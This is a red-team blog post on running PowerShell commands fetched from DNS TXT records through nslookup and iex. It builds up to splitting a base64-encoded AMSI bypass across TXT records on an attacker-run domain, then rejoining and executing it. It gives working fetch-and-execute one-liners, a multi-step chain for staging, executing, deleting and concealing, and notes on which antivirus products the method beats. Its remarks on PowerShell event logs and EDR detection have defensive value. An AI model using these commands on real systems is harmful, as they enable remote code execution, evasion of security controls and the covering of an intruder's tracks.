Fun with PowerShell – Executing commands with DNS requests
Updated: Oct 17, 2022
Man, it seems like every year, I’m writing, or presenting, something new on an attack vector that is used by threat actors within PowerShell. Well, half the time it’s stuff that has been around forever, yet everyone gets so focused on new programs and tools they forget about the simple stuff and the next thing you notice, you still have PS Version 2 on your hosts (yearly reminder it’s installed by default on every win10 host). You think it would just get old, but the thing I love about PowerShell is that while it’s powerful for the IT admins, it’s equally as powerful for the emulated criminals and criminals alike.
Anyways this article is about something that I saw a lot of the emulated criminal community eat up, yet it’s been around for a minute. (I mean, even John Hammond made a video. Though I have to say it was fun to watch him get really excited about executing a PowerShell Empire shell through the technique.) The method specifically is executing PowerShell commands using DNS TXT requests.
I mean, did everyone forget about DNS C2? To be fair though, this one is a bit novel as it uses the nslookup command while in a PowerShell instance instead of “Resolve-DNSName,” which I must admit is pretty cool. The problem I had with the examples given on social media was that they were being touted as a way to escape detection by using DNS, which was all sorts of wrong. Not only will running it as is still get you caught, but you are also better off trying to run the command locally instead and not dealing with the heartache.
The code given as an example was
PowerShell . (nslookup -q=txt <dns.TXTrecord.com>)[-1]
This command is pretty pointless for red team'ers because you are needlessly creating logs on the host, regardless if the host has PowerShell logging or not. The reason this happens is because every time you call PowerShell as a command, you are creating a new provided instance of the terminal which in turn creates 3 logs, EventID 600 – Provider Lifecycle, Event 400 – Engine Lifecycle(create new), and Event 403 – Engine Lifecycle (delete/suspend old). If you go into the info for EventIDs 600 and 400, your command is clear as day there. Not sneaky at all.
This doesn’t mean we can’t make this TTP super 1337 and sneaky. We just have to take the extra steps to get there. You know like everything else we do.
Now to give everyone the opportunity to learn and try this alongside this article, I’ve purchased the domain malicious.lol. Which, let’s be real, is pretty funny. Some people buy normal stuff; I buy random funny domains for research.
Anyways, if we run the command as is with our new domain
PowerShell . (nslookup -q=txt whoami.malicious.lol)
We will successfully receive the execution return of “whoami”. It should look something like this:
(Just incase it wasn't clear the TXT record for whoami.malicious.lol is "whoami" . The command doesn't care what the subdomain is. Also, you really don’t need the “.” Either. It will still execute.)
Moving along if we navigate to our Event Viewer and go to the PowerShell logs, we should see a fresh set of EventIDs 600,400, and 403. And looking at the 600 and 400, we should see the line below
“HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . whoami”
Pretty obvious right? Additionally, if there is any kind of EDR or GOOD AV product on the host, it will flag this immediately as a super sketch execution. To confirm this statement as any good researcher should, I ran it as a test on my work host, which has Crowdstrike, which promptly created quite a few alerts and caused some headaches for my Def Sec team. (Sorry Paul)
So, while cool that it executes and returns the command output of whoami, it’s pretty pointless if we can’t use it on an engagement and show off our hacking skills. To do so, we need to understand what exactly is going on.
Let’s break down the command as is.
First, let’s take a peek at the nslookup command section. If you are in a PowerShell instance already and run
(nslookup -q=txt whoami.malicious.lol)[-1]
you should get the standard output of nslookup with JUST the txt record in the “non-authoritative answer”. You will notice that by running this command, you did not get the results of whoami but instead just the string “whoami”. FYI if you use 0-3 instead of -1, you will just see the other lines that are returned as well. Pretty sure you can just use  instead of [-1] and get the same response. However, you would need to clean it up even more, but pretty sure it would still work.
Now you may be thinking this won’t execute because nslookup is returning the command with quotes, but if we run
we still are not going to get the command execution either, and instead, we will still get the string whoami. Just now, there aren’t any quotes.
Why is this? Well, quite simply put, the return from the command nslookup is seen as a String system type, and string types do not get interpreted as a system command, regardless if they are actual commands. To show this is another, more simple way, if we create a variable called test and set the value as “whoami” and then try to execute the variable, it would only print “whoami” as seen below.
$test = "whoami" $test
So, this is the next problem that we have to get over. How do we execute a string as a command? To my knowledge, there are really only two ways to execute strings as commands. (If you know of more, please let me know) The first way is recreating the provider and engine, aka calling PowerShell as a command. This is because the strings after the command would be seen as arguments, and be interpreted not as strings types unless in a quote. This is intended in the event that you did just want to run a system command via PowerShell from the get-go. The other way is to use invoke-expression, aka IEX. Now I’m not sure why people shit on IEX so much, considering that it was explicitly built to execute strings as commands. Yes, that fantastic little cmdlet that we abuse as threat actors was created by Microsoft to do exactly what we use it for. It’s not a bug; it’s a feature. The reason why IEX is so amazing here is two things. First, it doesn’t just create a set of logs for our blue team compadres to just grab from and go”…well this was easy”, which, let’s be honest, already makes this way more practical. The second is that IEX by itself does not alert AMSI or other EDR products. As I said, this is a cmdlet that was explicitly created for the purpose we are using it for. The reason why IEX gets caught with web downloads is that we have abused that technique so much that it just became highly analyzed, and the heuristics are just easy to spot. To prove my point below, we are going to use that same $test variable we created earlier but then wrap it in an invoke-expression command, so it should look something like this “iex($test)”. And to prove that AMSI is enabled, I’ll call amsicontext right after it, which is a banned word according to AMSI for being "way too naughty".
As you can see, we can still execute the whoami command without AMSI stopping us, which means AMSI doesn’t see this activity as malicious. Which, of course, it wouldn’t; it’s whoami. So all we have to do is blend in with what looks normal.
Now that we have solved our extra logs and executing a string as a command issues, we still are not ready to take this up a notch. The next thing we need to understand is the limitations of DNS TXT records. As the Cyber Godfather himself figured out, DNS TXT records are horrendously small. The max character limit is 255, which is smaller than a tweet. This creates kind of a problem in itself as most of our working AMSI Defeats, aka the first thing you should be doing on EVERY PowerShell terminal, are usually well over this. The smallest I have on call is about 322 characters which is obviously too big. Tough life. Anyways this is going to be the most challenging problem we need to solve. How do we bring in long commands while still maintaining our code's integrity?
So let's take it up to the 1337 level by defeating ASMI and solving our above issues with the original command.
Unfortunately, defeating AMSI using TXT records isn’t as simple as one would hope. As a random hail mary, If we try and check to see if we can even call the string “amsicontext” from the DNS record, we will be greeted with a “This word is too naughty” message.
iex(nslookup -q=txt acheck.malicious.lol)[-1]
While its to be expected this means we can’t just be lazy and try and defeat AMSI with old, unobfuscated techniques. AKA we are going to have face the 255 character limit issue.
So what can we do that is still super haxor and covert enough to not get us caught? This took a lot of pondering, but ultimately it came down to what do TXT records typically look like and how we can emulate that in our calls.
If you haven’t seen a typical TXT record, they are a jumbled mess. This is because they are used a lot of times to authenticate domain ownership with SSL providers or Mail security records. So, they tend to be a random string of characters and numbers though you sometimes get plain text info like “_DMARC <mail info>” or “malicious.lol-verification: <rando string>”. Other than the mail stuff, there isn’t a standard, to my knowledge, for domain ownership. So, we want to blend in with that. Now, usually, I’m against this, but Base64 seems to be the easy answer. The reason I’m not too fond of Base64 is that there is already a default base64 decoder in PowerShell, which means AMSI will be able to decode our payload before execution. Usually, this is a big no-no for me as we don’t want to give the defenders anything easy to win by. Thankfully this is where my mastery of telling AMSI to go fuck off comes in handy.
I took one of my AMSI Defeats and base64 encoded it, which came out to 492 characters, which is obviously too big so I split it down roughly the middle and set the first half to be a TXT record for "mail1.malicious.lol" and the second half to be a TXT record for "mail2.malicious.lol". Could I have chosen better names, sure, but this makes it easier.
Now that the AMSI defeat is staged and it looks like a typical rando TXT record, it is time to pull the records down and record them to a variable. The nice things about variables are they aren't saved to disk, so once you are done you just call the provider again and dump all that data away. Plus if there isn't an EDR there, you have a good chance of escaping what the command was if you delete the old TXT record after use.
To execute is simple, we need to push each of these into a variable which we will call $a and $b, and then just concatenate the strings within an IEX call
echo amsicontext $a = ((nslookup -q=txt mail1.malicious.lol)[-1]).Replace('"',"") $b = ((nslookup -q=txt mail2.malicious.lol)[-1]).Replace('"',"") iex([System.Txt.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a+$b))) echo amsicontext
And it works! AMSI is defeated using DNS TXT records. It’s not pretty, and it’s not one line, but that doesn’t mean it can’t be. It wouldn’t be that hard. This is immediately way more hacker-like as it splits our detection across the board and doesn't create unnecessary logs for someone to grab onto.
I’m personally not a fan of the technique as a whole for use in an engagement, but the way I see this being used on a red team one would be by implementing this in a “slow is smooth, smooth is fast“ approach. To explain let’s break it into steps.
Step 1: Base64, or really any encoding technique our command, then split it by 255
Step 2: Throw each section into a unique domain “@” TXT record so it would look like “@.domain.com”,"@.domain2.com", etc. (The multiple domains will throw off the scent that something is up from a perimeter perspective, but isn’t required)
Step 3: Get them all into unique variables
Step 4: ?????
Step 5: Concatenate and Execute.
Step 6: Delete and Conceal
Step 7: Repeat?
The final question is will it beat Crowdstrike and/or a good EDR?
Lol, no, I sent Paul's email into the shadow realm with this one.#SorryPaul This is mainly because good EDR products detect the abnormal usage of nslookup with their own non-MS AMSI hooking and attribute the execution of the script to that. To evade them you need to find a way of getting their hooks out of PowerShell. Which is a lot harder said then done.
It does beat Trend Micro or Mcafee and others that use the MS-built AMSI hook though. Which as all of us know is still pretty common to see.
All in all, I rate this technique 6/10 - It's cool but almost not worth it. Easier ways to accomplish this level of obfuscation without the headache.